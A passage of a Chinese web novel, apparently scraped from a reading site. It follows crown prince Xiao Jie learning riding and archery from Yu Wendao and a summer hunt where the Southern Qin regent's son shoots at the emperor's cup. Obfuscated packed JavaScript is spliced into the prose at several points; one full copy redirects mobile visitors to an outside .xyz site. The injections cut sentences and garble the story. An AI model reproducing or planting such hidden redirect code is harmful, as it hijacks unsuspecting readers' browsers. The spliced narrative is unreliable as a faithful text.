萧玠更不大好意思,想找点话讲,虞闻道已经替他理好缰绳,将他的脚在马镫上放好,道:“殿下这算厉害的了。臣头一次上马的时候,叫臣父拿着马鞭绕着场子撵了三圈,哭着喊着要回家找娘。臣这匹马估计也没见过这么怂的,臣一回来,就冲臣一把鼻涕一把泪的脸打喷嚏。这不,我们哥俩现在也处得挺好。” 萧玠笑起来,问:“世子是多大开始学骑术的?” 虞闻道道:“六岁。” 萧玠一时语塞,这是把自己比小孩呢。 虞闻道大笑起来,让他握紧缰绳,自己牵住马络头,带着萧玠慢慢往前走。 对常年不骑马的人来说,仅坐在马背上,世界便有所不同。太阳掺风,笼面如纱。草叶上金光跃动,虞闻道的墨绿衣袍似乎金线绣成,也折射一层淡淡金辉。萧玠心中却记着事,问:“我有一件事想请教世子。” 虞闻道见他如此郑重,奇了:“殿下请讲。” 字条的事在萧玠嘴边滚了一圈,到底咽下去,只问:“春明池宴那天,你如何得知崔娘子是游骑将军的未婚妻?” 他看着虞闻道:“哪怕京城遍知崔氏郑氏联姻的消息,但究竟是哪位娘子,娘子闺名为何,只怕没有透露过。” 虞闻道看了他一会,笑道:“回禀殿下,这也简单。崔氏在京的几位娘子臣都见过,显然不是其中一个,大抵就是从京外来的。这时节进京且能受邀东宫的崔娘子,只怕就是这位不日随小郑将军祭祖过聘的未婚妻了。听闻这位崔娘子是怀化将军崔清的堂侄女,本家正在清河,她来到京中就是为了婚事,婚前定要借居他处。说来也怪,她有几位叔父在朝供职,崔娘子却未曾登门,一个人去怀化将军故居暂住。这在京中也是桩奇事,不过还有件更奇的。” 萧玠问:“什么?” 虞闻道笑:“更奇的是,殿下和小郑亲如手足,臣一个外人都听说的事,殿下竟不晓得。” 萧玠心里不好受,只道:“我问你,你却扯我,我不和你说了。” 见他有挽缰的架势,虞闻道忙夺住他的缰绳,“好殿下,臣入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不得不说,虞闻道的确是很好的陪练,或者说师傅。萧玠怕耽误他的功夫,虞闻道却说自己不来陪他,也是在家斗鸡走狗或去听曲作乐,少不得他老子一顿抽,陪着他还算正事,甚至是很有上进心的正事。 攀龙附凤嘛。虞闻道懒洋洋说。 等萧玠能自己骑马,便要同虞闻道赛一次。虞闻道应他,也不让他,颇为轻松地跑在前头,且把距离精准地控制在只超他半个马身的范围里,一会叮嘱他不要把马腹夹得太近,一会说不要跑太快不然下马要喘,等转弯的时候还腾手替他拉缰绳。 萧玠从小到大还没被这么絮叨过,不恼也不急,反而觉得新奇。等两人一块停住,虞闻道的手才彻底离了他的络头:“人都夸臣算是年轻里骑马好的,殿下才学了几天就要撵上臣了,很不得了。” 萧玠故意道:“你这就叫我撵上了,还算骑得好?” 虞闻道笑道:“臣当年夏苗赛马可是赢了小郑拔头筹的。奉皇十三年,臣那年刚回京,殿下还观了礼,还亲手簪给臣一朵脸盘大的白玉牡丹花。” 他讲起这桩事,萧玠便记起来。那天毒热的太阳、草场的彩绶,连郑绥穿的是哪件竹青薄罗袍子他都记得。他还记得郑绥回席接过酒杯时擦过他指背的手指肚,有些糙,还有些潮。郑绥低头饮酒时萧玠簪给他的那朵姚黄也垂下脸,面靥如金,清香阵阵。那气味至今仍残留在萧玠鼻腔,不想起则已,一想起这情景他就能闻到。 郑绥难得拿个老二,至于第一,萧玠问过几句,到底没留下很深的印象。 萧玠便对虞闻道笑道:“面如冠玉者,簪它不是相得益彰么。” 虞闻道看了他一会,将马鞭掉了手,缓缓笑了。 萧玠注意到,虞闻道今日背了一副弓箭来,心中一动,便叫他:“世子。” 虞闻道又把马鞭倒到另一只手里,道:“小半个月了,殿下跟臣还这么生分。” 萧玠便叫:“虞郎。” 虞闻道仍啧声。 萧玠问:“那道郎?” 虞闻道面色十分精彩,“怎么听着不对劲呢。” 萧玠有些无奈,笑道:“那你要怎样叫。” 虞闻道看他,“臣在家中行三。” 一个“三郎”刚要脱口,萧玠不知想起什么,迅速把话咬回牙关,想了想,唤他:“三哥。” 他瞧虞闻道神色,问:“叫三哥,好不好?” 虞闻道不置可否,道:“殿下有什么嘱咐?” 萧玠看着他,“想学弓。” 虞闻道一愣,说:“殿下,咱这马才刚跑起来,还是徐徐图之比较好。” 萧玠说:“你都把弓带来了。” 虞闻道笑:“那臣也不是给殿下用的呀。臣母的寿辰快到了,从殿下这儿忙活完,臣得去西山打条皮子去。” 萧玠忙道:“这儿是现成的地方,你教我射箭,我给他们看林子的讲一声,让你在这边打。” 虞闻道敲敲他的鞍鞯,“殿下,开上林苑得陛下首肯。就算您是太子,也是僭越的大罪。” 他一抬萧恒,萧玠便默了。万一再叫百官弹劾,的确还是萧恒作难。 虞闻道见他不讲话,歪头看他一会,突然把弓箭摘下来,跳下马背,说:“射是六礼之一,殿下若要学,那可得正经拜师傅了。不过臣先说好,臣的射术可比不上小郑,万一给殿下教到沟里去——买定离手,概不负责。” 萧玠也忙下马,道:“不叫你负责。” 虞闻道这么看他片刻,边抽箭扣弦,边慢悠悠道:“学射和学马一样,热豆腐也,心急吃不得也。殿下要学射,得先学会看。” “看?” “所谓百步穿杨,真的是箭比风中的杨柳要快吗?”虞闻道瞧着不远处的垂柳,“是眼睛观察到柳叶摇动的轨迹,提前做好了预判。” 他话音一落,嗖一声飞箭脱弦而出。萧玠隐约听到极清脆的一响。虞闻道便走过去,将羽箭插回鞚靫,冲萧玠递过一物。 是一枚柳枝。 萧玠接在手里,思索一会:“你为什么不从军?” 虞闻道很坦然,“不喜欢。” “也不科举?” “不喜欢。”虞闻道耸耸肩,“就像殿下生来要继承大统,小郑生来要带兵打仗,臣么,生来就是个纨绔膏粱。投得一手好胎,也是没法子的事儿。” 他没有给萧玠继续追问的机会,边说着边站到他身后,像教萧玠骑马一样,双臂环过他。他比萧玠要高一个头,这时候微微垂首,声音也就跟着呼吸跑到萧玠耳边。热热的,像有碎头发搔着耳廓,有些痒。 虞闻道握住他的手,教他把箭认在弦上,低声说:“不射柳条了,射个大的。看那个树瘤,咱射它。盯着它,感受它,什么都不要想——殿下没扳指,那先用臣这个吧。” 35. 第 35 章 直到夜间浣手,萧玠才发觉忘记将扳指还给虞闻道。他将白玉扳指脱下,拿帕子包起来,打算第二日去猎场时还给虞闻道。 结果翌日相见,虞闻道先带给他一件东西。 “这张弓是紫杉的木料,韧劲足,不易断。”虞闻道松开弦,空中清脆一响,“弦用的生牛筋,掺了蚕丝搓成的。这弓轻,弓力也不是很强,但很适宜上手。” 这张弓通体紫红,色如虹光,又曲线柔和,若少女手臂。萧玠爱不释手,也没有推脱,冲他笑道:“多谢世子。” 虞闻道靠着马瞧他,“叫臣什么?” “三哥。”萧玠笑着向他拱手,“谢过三哥,我很喜欢。” 他说着从怀中取出帕子,“昨日走得匆忙,忘了将此物奉还,如今完璧归赵。” 虞闻道没有接,“殿下先用吧,要学弓少不了这家什。” 萧玠道:“这太贵重。” 虞闻道笑起来,“一块玉而已,谈何贵重?我自幼爱淘这些边边角角,扳指有一匣子。” 他瞧着萧玠,又说:“自然,殿下若嫌弃,还给我就是。” 他话讲到这里,萧玠不好多说,又见他新戴了一只白玉扳指,就没打算把东西要回去,只得作罢。 昨日临走,虞闻道便叫人做了皮靶子,今日已经在场上摆好。萧玠有些心急,不要虞闻道指导,自己就要上手。虞闻道也不拦,等他十箭落空后走到他身后,握他的手将弓持到面前,低声道:“昨日,臣同殿下怎样说的?” 他贴得太近,萧玠有些不习惯,答道:“看,和感受。” 他耳边轻轻吹过一阵气流,是笑声。虞闻道在他耳边说:“是,依臣所见,射箭其实同于心学。技巧还是其次,首先殿下要相信。相信自己的能力,相信这支箭射出去,一定能正中靶心。” 他手指一松,两枚白玉扳指一触即分。这点细微响动挨得太近,一时间灌满萧玠耳朵,等他回过神,那支箭尾羽颤颤,正中靶心。 虞闻道松开他,抱臂立到一旁。萧玠轻轻呼吸几下,挽弓,扣弦,放箭—— 他皱了皱眉,掉头看虞闻道。 虞闻道瞧向那支定在靶子木座下的羽箭,问:“殿下相信能射中吗?” “非常信。”萧玠点头,“我甚至能看到它射中的样子。” 虞闻道耸肩道:“那看来,技巧虽是其次,但一点技巧没有,也确实不行。” 萧玠这才意识到叫人耍了。 萧玠静静看着虞闻道,一言不发。虞闻道见他半天没反应,以为真生了气,忙要告罪:“是臣僭越,请殿下恕罪。” 他正要跪,却被萧玠拉住。萧玠问:“三哥感受到我的怒气,相信我要发火了吗?” 虞闻道抬头看他,一对视,萧玠便笑起来,笑得前仰后合,扶着弓道:“原来三哥才是地道的纸老虎,还同我讲心学呢。那你相信自己是老虎,怎么叫我一戳就破了呀?” 两人玩笑一会,也就回归正业。两道鞭声后,马蹄便在猎场上跑起来。萧玠这几日得了骑马的乐趣,连跑了几圈才肯停下。他掌住缰绳,同虞闻道并辔而行,草叶擦过马腹也擦过衣袍靴尖,太阳底,一片金色的静谧。 萧玠垂下手,手掌拂过草叶,那草头上簪一朵紫花,也就挨着萧玠掌心滑过去。萧玠突然道:“夏苗快到了。我恳请陛下,允许我骑马入场。” 他似乎在同虞闻道解释自己学马的缘由。萧玠一场重病闹得举国惶惶,夏苗策马的确是彰显太子健康、稳定民心的好时机。 萧玠直起身,转头看虞闻道,问:“到时候,你会来吗?” 虞闻道也不踏镫,双腿就垂在马腹边,浑身的劲都松着,冲他笑道:“臣冠帽都挑好了,等殿下到时候簪花呢。不过夏天牡丹也败了,殿下也好好挑挑,拿什么花来配臣这颗风姿卓绝的脑袋。” 萧玠笑起来,“你倒不害臊。” 虞闻道亦笑:“臣浑身上下,也就这张脸拿得出去,从这上头谦虚,岂不白瞎了爹生娘养的绣花皮子一张。人嘛,还是诚实些好。” 他看了萧玠一眼,又问:“这样大的场面,不知小郑回不回来。往年夏苗,殿下但凡出席,都少不得他作陪。” 萧玠脸上瞧不出什么,笑道:“他那样远,军务又繁忙,哪能为这点小事奔波?” 虞闻道问:“那殿下的陪席,岂不空置了?” 萧玠想了想,“教坊的沈郎还在我这边,叫他陪我坐。” “不合规矩吧。”虞闻道捏着马鞭,“夏苗说是狩猎,实际就是陛下给朝臣们攒的局,大伙看看风声,和睦和睦关系的。既如此,到时候世家大族都得到场,那么多眼睛盯着殿下,有什么错漏,能逃过他们的唾沫吗?” 他意味深长道:“殿下,有时候爱之,反会害之。” “我没有。”萧玠迅速道。 他骑了一会,突然双腿一打马腹,往前跑去前对虞闻道说:“我不同你讲了。” 虞闻道有些好笑,也驱马追上前,替他挽住缰绳,连声道:“好、好,没有,殿下说没有就没有。那到底找谁侍坐,殿下想好了吗?” 萧玠歪头看了他一会,扬脸问:“那依卿高见,我该选谁?” 虞闻道像在思索,说:“殿下若哄哄臣,臣未必不能当个毛遂。” “我不会哄人。”萧玠振了振缰绳,又说,“你爱来不来。” “来。”虞闻道看着他再度策马的背影大笑起来。 他挥鞭追上去,扬声喊道:“来!” *** 夏苗说是为了保护庄稼不叫野兽踩踏,可历朝历代总成了王公贵族宴飨作乐的由头。也就是到了今上,才真叫龙武卫去驾车列阵,把田地守卫起来。每次夏苗前都要挑挑地点,选在野兽下山的经途,不算叫“夏苗”的名头落空。 按我的身份,本是无缘出席,但萧玠不放心我一个人待着,便请示皇帝,算我一个随员。 他要给我设席,我为了自己一条小命,千辛万苦推辞过去,从他身后跟着内官阿子一块站着。夏苗正在五月,天气炎热,草木茂盛,因萧玠受不得暑气,皇帝早早叫人搭了凉棚。蓝天透过明黄棚顶,在棚内投落紫阴阴的影子。萧玠案前设了冰盘、绿豆饮,还有一小碗凉酪,座位上铺着凉簟,却不见人。 礼部司员一直在观察日晷,等晷影到一个该到的位置,他便放开嗓门高声喊道:“皇太子驾至——” 这时,场上二十四面画鼓齐声擂动,气壮地、有节奏地,接着,所有人听到马蹄踏动、芳草摩挲的声音。连皇帝也伸长脖子,和我们一块望向声音传来的方向。 先于太子,我们先看到两侧游动的仪仗,引幡、华盖撑在天际,杆子被身穿皮甲的太子六率握在手里。他们的靴子踏在草间,替中间的朱红长毯开道。毯子自皇帝所处的高台而下,直至草地。 终于,我们从红毯尽头,看见一人一马当先的身影。 皇太子骑红马,身穿大红骑装,头戴玉冠,腰扣九龙玉带,面色红润,眼神明亮,从头到脚焕发出青春茂盛的活力,全无年前传闻中的沉疴将死之态。他出现的一刻,两旁仪仗队开始活动,吹簧的吹簧鼓瑟的鼓瑟。穿透天际的庄重礼乐里,我跟随所有人向他拜倒,同声诵道:“皇太子殿下千岁。” 在我跪下的前一瞬,我看到皇帝从高台上站起来。他在萧玠跪地口称万岁前拦住他,叫大内官秋童扶他落座。 萧玠走进棚子里先冲我笑笑,对阿子说:“一会没人看着了,你们都搬个杌子坐。陛下给大伙都设了绿豆饮解暑,待会记得去西边领一碗吃。” 他从座中坐下,秋童便捧过药炉,依例叫他吃早晨的药。那股药味钻出来,带着一阵浓重的土腥气,我跟着萧玠闻了多日,仍忍不住蹙眉。萧玠却没什么异样,徐徐将药饮尽。 他这条舌头真不知道是什么做的。 我正腹诽,已听他问秋童:“政君……到了吗,我没有瞧见。” 大内官向来和煦的脸上闪过一丝异常,仍笑道:“殿下知道,南秦到底路远,还在路上。但今儿是大事,政君既然来函要到,自然不会食言。” 萧玠没有再多的表示,大内官便告辞离去。 不过萧玠这边也没清静太久,等各个世家的阵仗走完,太子凉棚前的竹帘便被打起,虞闻道钻了进来。 他冲萧玠撩袍跪倒,问了千岁,便自行起来,从萧玠身边坐下。 萧玠也笑吟吟地,说:“你再不来,我就要喊阿子去找人了。” 我跟着看去,见虞闻道似乎握着一物,果然萧玠也问:“手里拿的什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他和萧玠从前遇见的所有人都不同。他不端庄,不死板,性格活泼,浑身闪烁着旺盛的生命力。更要紧的是,他并不死守君臣界限,分寸拿捏得恰到好处。他会跟萧玠开一些无伤大雅的玩笑,会逗他,像朋友一样打趣起哄。与其说把萧玠当东宫,虞闻道更像把他当作住在东宫的“人”。 这样一个人,哪怕你知道他的接近不可能全无目的,但在他没有明确表露异心之前,你无法拒绝。 虞闻道吃了一碗绿豆饮,见萧玠手边放一枚宫扇,便拾起来打,他往萧玠那边靠,如此一来两厢都得了凉快。萧玠一般不会叫旁人代劳这些,这一会也没有制止。 不多时,外头又响起鼓声,编钟也敲起来。我瞧见皇帝从高台上站起,便知道到了他开箭的时候。 皇帝只有在这种大场合才会穿礼服,他从大内官手中接过彫弓,不带扳指,赤手将弦引至满彀。我有些惊讶,以皇帝如今衰病的身体,居然还有如此的惊人之力,很难想象他全盛的青壮之年是怎样的神武天成。 皇帝拇指一松,我们听到一股极其尖锐的利箭破空之声,飞箭裂风的声音如同裂帛,在空中撕开一条又高又远的无形轨道。就是这一瞬,原本在我身前肃然起立的萧玠突然浑身一弹,在他不管不顾地奔上场前,我听见他撕心裂肺的叫声:“有刺客,保卫陛下,保卫陛下!!” 他先于我们任何一个人听到第二支箭射出的声音,在皇帝的箭脱离弓弦之时,在他对面的不远处,一支飞箭几乎以相同的高度相同的轨迹向他射来。你的箭镞擦过我的箭羽,我的箭杆跃过你的箭身,在空中火花迸溅,如同仇敌见面,冤家路窄。 一声短促的鸣叫响起,皇帝之箭射落天边大雁的同时,第二支箭越过仪仗和云层,以万军之中取君人头的气势,啪地射碎皇帝面前的酒盏。 龙武卫拔剑而出,场上乱作一团时,萧玠已快步冲上高台,抢先挡在皇帝面前。皇帝没有展现出分毫慌乱,我看到他按了按萧玠的肩膀,将他拉到自己身边。他放下弓,望向那支飞箭射来的方向。 我相信萧玠惊讶于他的父亲全无震怒,直到他跟随皇帝的目光一起看去—— 他会看到一匹高头骏马,肌肉健美,皮毛乌黑油亮。引人注目的是,这匹黑马没有上络头、鞍鞯,甚至没有缰绳和马镫。马背之上,跨坐一个不到十岁的男孩。 没人会觉得这个年纪的孩子有任何攻击性。 如果他没有骑这样一匹马,并冲皇帝放下弓箭的话。 36. 第 36 章 面对这样堪称行刺的变故,皇帝下达的命令却是“不得无礼”。 突然之间,人群大哗,马蹄声传来——不是马匹,是骑阵,是数十骏马数百马蹄传来的整齐踏步之声。 这一刻,萧玠的听觉被兀然放大:龙武还刀回鞘的摩擦声、铠甲碰撞声、列队两侧的哗啦让道声,朝臣喁喁声,父亲逐渐急促的呼吸声,马队骑阵踏步之声,每一步都像踏在萧玠身上。 此刻,天边,光亮骤暗,突然阴沉,一片彤云刮过—— 是一群赤色旗帜。 它们宛如一队朱红大鸟,羽翼拍打,颉之颃之。萧玠知道,只有一类南方候鸟会发出这样的振翅之声。它在暖春筑巢北国,生儿育女,又在深秋泣血而去。萧玠瞪大眼睛,终于在接近云端处,看清那鸟翅的伤疤,旗帜的图腾。 一瞬间,他热泪滚滚,冷汗淋淋。他感觉萧恒握紧他潮湿的掌心,他不知道萧恒此举是意图安抚还是寻求支撑。在他父子二人的带领下,在场臣工全部起立,眼看那个立马在前的男孩身后,涌出一支军容整肃的骑兵。 每个人都身材高大,披戴铠甲,太阳下甲胄如同铜镜,绽放强光。每匹马都肌肉健美,皮毛黑亮,身上装饰香鞍宝镫,尾巴如同飚飞的闪电。先于这一切,所有人在他们额头之上,看到一条大红抹额。他们气势汹汹,黑云压城,在距男孩不足一丈的位置齐刷刷地住步。 雀静之际,空中一声脆响。 是敲打马腹时,靴子上的装饰碰撞马镫的声音。 紧接着,一匹枣红骏马迈步上前。 所有人的目光都投向马背之上。 那是个穿红罗衣裙、戴青铜面具的女人。剑拔弩张之际,她没有行礼,在男孩身前停住,颇为倨傲地立马当先。一片死寂中,在场每一个人都听见她清晰有力的声音: “南秦政君秦温吉,见过梁皇帝。” *** 奉皇十六年五月,温吉政君观礼夏苗,成为梁秦关系转折的重要节点。秦灼在以她的名字命名王城后,又给予她前所未有的权柄,让她成为南秦的摄政王和半个话事人。她的态度,就代表了秦公的旨意。 如今,她的座位设在萧恒左手首位,足以彰显天子的看重。 射在天子面前的羽箭被拔下,在案上留下一个一寸深的小坑。对此,萧恒没有任何责问之意。他吩咐人收到一旁,并看向这支凶器的主人,那个冷静的男孩。 那孩子从秦温吉身边落座,双手撑膝,腰背挺直。自出场至今,他始终未发一言,一双眼睛黑白分明,眼神却极其冰冷。 同样地,他也在看萧恒。 四目相对的一瞬,他眼底的冷箭飞射,箭镞燃烧着熊熊的仇恨之火。如果说目光能够化作实形,那仅此一眼,萧恒就会立时毙命。 世上绝不会有这样的痛恨,毫不相干,却食肉寝皮。 那只有一个答案。 这个男孩,和自己渊源颇深。 萧恒在观察凶手,夏秋声却看向那支羽箭,起身对秦温吉拱手,道:“政君驾至,臣等不胜欣喜。只是臣孤陋寡闻,不知政君这向天一箭依循的什么礼数,故向政君请教。” 秦温吉吃了口酒,说:“我儿子华阳头一次面见梁皇帝,喜不自胜,想给天子献个礼物。” 夏秋声问:“难道箭指天子,就是侯爷的礼物?” “雁。”秦华阳惜字如金。 他缓缓吃一口酒,放下杯子时,盯着萧恒的眼睛,一字一顿道:“可惜,没中。” 秦温吉嗤道:“有什么好说嘴的。下次中了,再献不迟。” 夏秋声脸色不太好,但他晓得内情,更顾及萧玠,没有追问。他们说话间,萧恒仍在打量秦华阳,道:“我记得阿玠比华阳要大四岁。” 秦温吉皮笑肉不笑,“梁皇帝好记性,今年十二岁。” 萧恒道:“十二岁的男孩子,也到了长个头的年纪。” 秦温吉瞧瞧秦华阳,“他不像太子听话,叫他喝牛乳十次有八次不喝,蹿得不猛。强在身体好,没灾没病。” 话一落,萧玠睫毛颤了颤,垂下了脸。 “阿玠。”萧恒摸了摸他的手背,将秋童捧来的酒壶放到他面前,“政君也是你的长辈,远到而来,你去敬杯酒吧。” 萧玠垂首应是,提起酒壶向秦温吉走去。 太子给诸侯献酒,这是前所未有之事。而秦温吉受他这杯酒,居然也没有起身的意思。 萧玠从她面前站定,过了一会,那只素手才将酒杯放在他面前。他不敢看她,酒液倾出时整只手都在哆嗦。泼出的酒滴是无数打碎的小镜子,映照着秦温吉秦华阳和本该姓秦的萧玠的脸。 终于,他躬身将那杯酒捧到秦温吉面前,说:“我能起死回生,幸赖郑翁妙手回春。救命之恩无以为报,先以此酒,谢过南秦仗义援手。” 秦温吉看着萧玠,接过酒杯,迅速吃掉酒水。 秦温吉放下酒杯。 萧玠后退一步,向她捧衣跪倒。 群臣一阵哗然,而天子看着这一幕,没有丝毫阻拦之意。 这一刻,萧玠终于敢直视她的眼睛,那双和秦灼如出一辙的眼睛。他全然没有意识到自己已然泪流满面。 整整九年,他终于能有一个机会,可以正大光明地提起那段隐秘,那个人。 “郑先生北上是受秦公所托,我这条命是秦公给的。本该当面跪谢,只惜山遥路远。请政君相代,受我一拜。愿秦公寿如南山,茂如松柏,年年岁岁,无病……无忧。” 他额头砰一声撞在地上。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566379|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人都察觉到太子的失态,却没有一个人敢出口询问。不多时,秦温吉从席间站起,俯身要扶他起来。 她的手触到萧玠臂弯的一瞬间,萧玠颤抖得更加厉害。他没有顺势起身,而是紧紧握住秦温吉的手。仅是这样的肌肤相触,就胜过万语千言。秦温吉听到他压抑的哽咽,感受到他的眼泪掉落在自己手背,滚烫的,像蜡炬的眼泪,又迅速冷去,像滴死掉的血。 秦温吉没有讲话,只是握住他的手,紧紧握住,这样扶他起来,亲手将他携到萧恒身边。 看萧玠坐下后,她问萧恒:“太子在吃哪些药?” 萧恒答道:“从前的药停了,现在叫他吃长青散。” 听见这个名字,秦温吉眉头一跳,她脸上闪逝一缕不可置信的神色,下一刻已变幻成了然于胸的神色。她没有多说,从袖中取出一封药方交给萧恒,道:“也叫他吃上这个药。长青散再厉害,到底会亏空底子。” 萧恒便接过,道谢。 秦温吉说:“还有几件东西,也请太子收下。” 她从一旁托盘里取过一本经书,两匹经幡,递到萧恒面前。 “得知太子病情后,家兄割血祝神逾三月,期间用血抄了一本《明王》,并灵妃本生经幡两幅。我今天带来,望梁皇帝收下。” 她说是为太子,眼睛却盯着萧恒。 片刻后,萧恒双手捧过,除了秦温吉,无人得知他的手是否颤抖。他默然片刻,哑声道:“孩子已经转好了,叫他宽心,好好保重。” 再次见到萧恒,秦温吉心中居然生出一股奇异的感情。这个和她哥哥纠缠不清的男人,祸害他、捆缚他,又为了保全他而抛弃他。直到他抛弃秦灼的那一刻,她才真的有点相信,他的爱。 她和萧恒这辈子只有一次正式交谈,都是为了保护秦灼。他们各自押上不同的筹码,最后,都要伤害秦灼。多么好笑,他们对秦灼的爱,到头来注定是伤害。不同的是,萧恒认识到伤害便忍痛相割,她哪怕认识到伤害,依旧有恃无恐。 这个距离,秦温吉清楚地看到萧恒的眼纹和白发,哪怕隔着礼服,她也察觉得到,他肌肉萎缩,后背佝偻。就像她知道,秦灼衣物遮掩的腹部上,刻有几个永难消褪的疤痕,那神明的诅咒、生命的魔窟,他为此多次打碎自尊,变成非父非母的隐秘、不男不女的怪物。而她,她现在握着比青春更昂贵的权力之杖,但她被权欲浸染的眼眶,早就剜掉了少女的秋水明眸。 秦灼老了,她老了,萧恒也老了。 那些甘苦和爱恨,会因为老去而淡忘,还是更加铭心刻骨? 在秦温吉回席后,萧恒才重新落座。直到萧恒坐定,萧玠才松开搀扶他的双手。他盯着萧恒吃剩的半盏酒水,轻轻叫:“阿爹。” “长青散,是什么?” 37. 第 37 章 萧恒静了一会,道:“就是你在吃的药。” 萧玠没想到有一天,萧恒居然都开始玩文字游戏。这说明这件事有超出他接受程度的严重性。 萧玠说:“我知道。阿爹,你也知道,我不是问这个。” 萧恒端起那盏酒,徐徐吃了一口,吃罢,道:“长青散的一味药材,是齐地的红脸参,很难求,在齐国也只有帝后可用。” 萧玠喉咙发紧:“你答应了什么?” 纳贡还是称臣,裂地……还是割城? 萧恒握了握他的手,道:“我给他们的使节磕了头。” 对国家而言,没有太子想象中那么严重。但对萧玠来说,这件事极大地打击到他。他嘴唇颤抖,眼泪夺眶而出,要讲话,先行咳嗽起来。 萧恒神色骤变,忙叫人端水拿药丸,将萧玠搂在怀里,边替他抚摸脊背,边哄道:“阿玠,好孩子,没事的。又不是什么大事。你好了就行。” 众人视线投来,萧恒也没有推开萧玠,仍这样抱着他。过了一会,萧玠吃过温水,又拿帕子揾面,想冲萧恒笑,却再难笑出来。 在秦温吉出现后,他的一颗心都随那群赤旗插翅,飞往千山之外的明山金水。可他知道,他的心是一只风筝,那一头始终牵在萧恒手中。 直至皇帝宣布狩猎开始,萧玠依旧兴致缺缺。他虽学了骑术,但捕猎野兽太过凶险,加上小时候虎祸一节,萧恒不肯放他出去。他同萧恒坐了一会,面前是那本明王。 那字迹他太熟悉,鲜血的气味也太熟悉,他能活过来,原来吃了给他血肉的人的血肉。 这叫萧玠忍不住作呕。 眼前,秦灼割血和萧恒磕头的画面不断从眼前交错变幻。介子推端来汤碗,碗中散发出奇异肉香。白娘子叩上金山,额头磕出如同钟鸣的皈依声响。王友贞剜股取药,老母脸上再现生的光芒……可他们救的是君、是恩、是亲,而自己是臣、是孽,是他们的儿子啊!身体发肤受之父母,哪有让父母为了自己再损体肤的道理?这样一来,他何止罪人,简直是千古第一不孝之人。 萧玠喘不过气,便辞了萧恒,自己去场地边走走。萧恒怕他晒,要给他打把伞,萧玠只道太医讲过,要多晒太阳。 这一会到了晌午,日头毒,萧玠便往林边踱去。一排排桂树高大,虽未簪花,却装饰翠玉冠,投下连片浓绿影子。萧玠正行走,突然听人高叫一声“殿下闪开”,同时,快风破空之声、金铁撞击之声一起迸溅。那股风扑起的他的袍袖尚未垂落,两枚羽箭已经从他面前旋然折断。 面前,虞闻道放下弓箭,面有惊惧。不远处,秦华阳坐在马背上,拿手中木弓指了指萧玠身后。 一只狐狸嗖然蹿远,跑得不见踪影。 秦华阳没讲话,看了眼萧玠,又瞥一眼虞闻道,重新拨马走掉了。 萧玠走向虞闻道马前,见他已经射了两头狍子,马后还拖着一头黄羊,便笑道:“恭喜,看样今年又要拔得头筹。” 虞闻道笑道:“不好说,那南秦的丹灵侯年纪虽小,却是个手毒的。就那一把木弓,一箭射穿了一只獐子双眼!除非再跟张佚云似的,能从场上给臣蹿一头花豹出来,不然咱只能挂弓认输了。” 秦华阳满周岁,秦灼便封他侯爵,封号丹灵,取他名字的太阳之意,足见对这个外甥的宠爱。 那他冲萧恒射出的一箭,想必是为舅父出气。 萧玠正想着,听虞闻道又道:“臣怕他存什么心思,才向殿下开弓阻拦。以下犯上,是臣的不是。” 他告罪,却吊着眼梢。萧玠抬手打他一下,笑道:“又来。人家小孩子,不过争胜些,你就想这么多。” 虞闻道说:“不怪臣多想。他能放出那么一箭……敲鼓前还问了一遍,陛下下不下场。” 萧玠心中一动,问:“他专门问陛下?” 虞闻道说:“殿下安心,这样大的场面,又是众目睽睽,他不敢做什么事。” 如今众目之下,他不敢轻举妄动,那众目之外呢? 萧玠一颗心猛地揪紧,投眼望去。林中场景如一把铺开的折扇,无数林木便如无数扇骨,将王孙狩猎的图画切割成一段一段。有的人在这一段探出跑飞帽子的额头,有的人在那一段露出半条马腿和一只靴子,只有那个男孩,没有一段能留下他的肖像,只留下他快如黑风的马背上,一道红色闪电般的身影。 鼓声三响,狩猎结束。不出所料,虞闻道未能蝉联,心满意足地摘了第二。他领了赏赐退场,重新翻上马背,慢悠悠往场边走。萧玠早在那边等着他,后面跟着阿子,手里托盘上摆着新摘的鲜花。 萧玠笑问:“想戴什么?” 虞闻道说:“臣这颗脑袋,听凭殿下处置。” 萧玠挑拣一会,摘下一朵嫣红芍药,道:“这个好不好,衬你的衣裳。” 虞闻道今日穿一身玉鈫蓝的骑装,很显英姿,再看他骑马的潇洒,难怪有娘子给他丢香包。 萧玠正腹诽,虞闻道抬手捏了捏他的脸,笑道:“怎么,只衬臣的衣裳,就不显臣这张脸吗?” 萧玠逃他的手,叫道:“三哥,你这样我喊人了。” 虞闻道笑:“好大威风啊殿下,你就是喊陛下来——臣就只能戴着你的花,叫你接住这颗脑袋了。” 萧玠打他的手,不叫他胡说,道:“你老实些,我够不着了。” 虞闻道不再逗他,顺从地从马上俯身,叫他将那朵芍药簪在髻上,正要起身,便听萧玠在耳边道:“三哥,我要托你一件事。” 虞闻道侧过脸看他,这个距离,他看得清萧玠根根颤动的睫毛,和他眼里自己的倒影。萧玠低声道:“长青散的药方,你帮我找一找。” 父亲绝不会如此轻易就将内情相告,那说明这药的问题,比他下跪相求还要可怕。 虞闻道没有多问,点头应下,歪过脑袋叫他看簪戴芍药的脸:“好看吗?” 萧玠笑道:“好看。” 虞闻道从马背上直起身,吟道:“油壁车中同载女,菱花鉴里并妆人。穆修写芍药,倒是很有心得。” 萧玠拍他一下,蹙眉小声道:“当着人,你别乱讲。” 虞闻道见他开始脸红,更有意逗他,道:“啊呀,殿下这话讲的,像臣不当着人就做什么有伤风化大逆不道的事情。殿下,这样污人清白不好的。” 